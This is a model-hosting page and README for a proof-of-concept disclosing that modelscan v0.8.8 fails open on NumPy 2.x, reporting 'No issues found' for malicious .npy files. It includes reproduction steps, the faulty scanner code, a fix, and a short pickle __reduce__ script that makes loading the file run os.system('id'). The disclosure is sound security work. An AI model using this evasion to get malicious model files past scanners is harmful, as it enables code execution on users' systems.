Downloads · 30 days
0
hoanghai2110/modelscan-npy-bypass-poc
modelscan-npy-bypass-poc is a machine learning model from hoanghai2110. Use it for the machine learning task on the model card, and read the license before you ship it in a product. The card lists the license as mit.
This repository contains a proof-of-concept model file demonstrating a security vulnerability in modelscan v0.8.8.
Downloads · 30 days
0
Access
Public
Updated Jun 30, 2026
Repo size
304 B
Likes
0
Public
Click a slice to open those files.
.md2.8 KB · 60%
From the Hugging Face model README
This repository contains a proof-of-concept model file demonstrating a security vulnerability in modelscan v0.8.8.
NumpyUnsafeOpScan calls numpy.lib.format._check_version(), a private API removed in NumPy 2.0. When modelscan runs on any system with NumPy ≥ 2.0 (current stable), the scanner crashes with AttributeError for every .npy file containing object-dtype arrays. The error is silently swallowed and the scan returns "No issues found" — even when the file contains payloads using CRITICAL-blocked modules like os.system.
modelscan/tools/picklescanner.py, line 231: np.lib.format._check_version(version)pip install modelscan numpy # installs numpy 2.x by default
python -c "import numpy; print(numpy.__version__)" # should be >= 2.0
modelscan -p model.npy
Expected output (modelscan SHOULD flag this):
CRITICAL: Unsafe operator found: os.system
Actual output:
Error encountered from scanner modelscan.scanners.NumpyUnsafeOpScan:
module 'numpy.lib.format' has no attribute '_check_version'
--- Summary ---
No issues found! 🎉
python -c "import numpy as np; np.load('model.npy', allow_pickle=True)"
# → runs os.system("id") → prints uid=1000(...)
# modelscan/tools/picklescanner.py, line 229-232
elif magic == np.lib.format.MAGIC_PREFIX:
version = np.lib.format.read_magic(stream)
np.lib.format._check_version(version) # ← REMOVED in NumPy 2.0
_, _, dtype = np.lib.format._read_array_header(stream, version) # ← also gone
Both _check_version and _read_array_header are private APIs removed in NumPy 2.0. The resulting AttributeError is caught by an outer except Exception handler that logs the error but returns no scan results — causing a fail-open behavior.
Remove the call to np.lib.format._check_version() and replace _read_array_header with the public API, or catch AttributeError and fail closed (return UNSAFE).
import numpy as np, pickle, os
class OsSystemRCE:
def __reduce__(self):
return (os.system, ("id",)) # os.system IS in CRITICAL blocklist
arr = np.array([OsSystemRCE()], dtype=object)
np.save("model.npy", arr)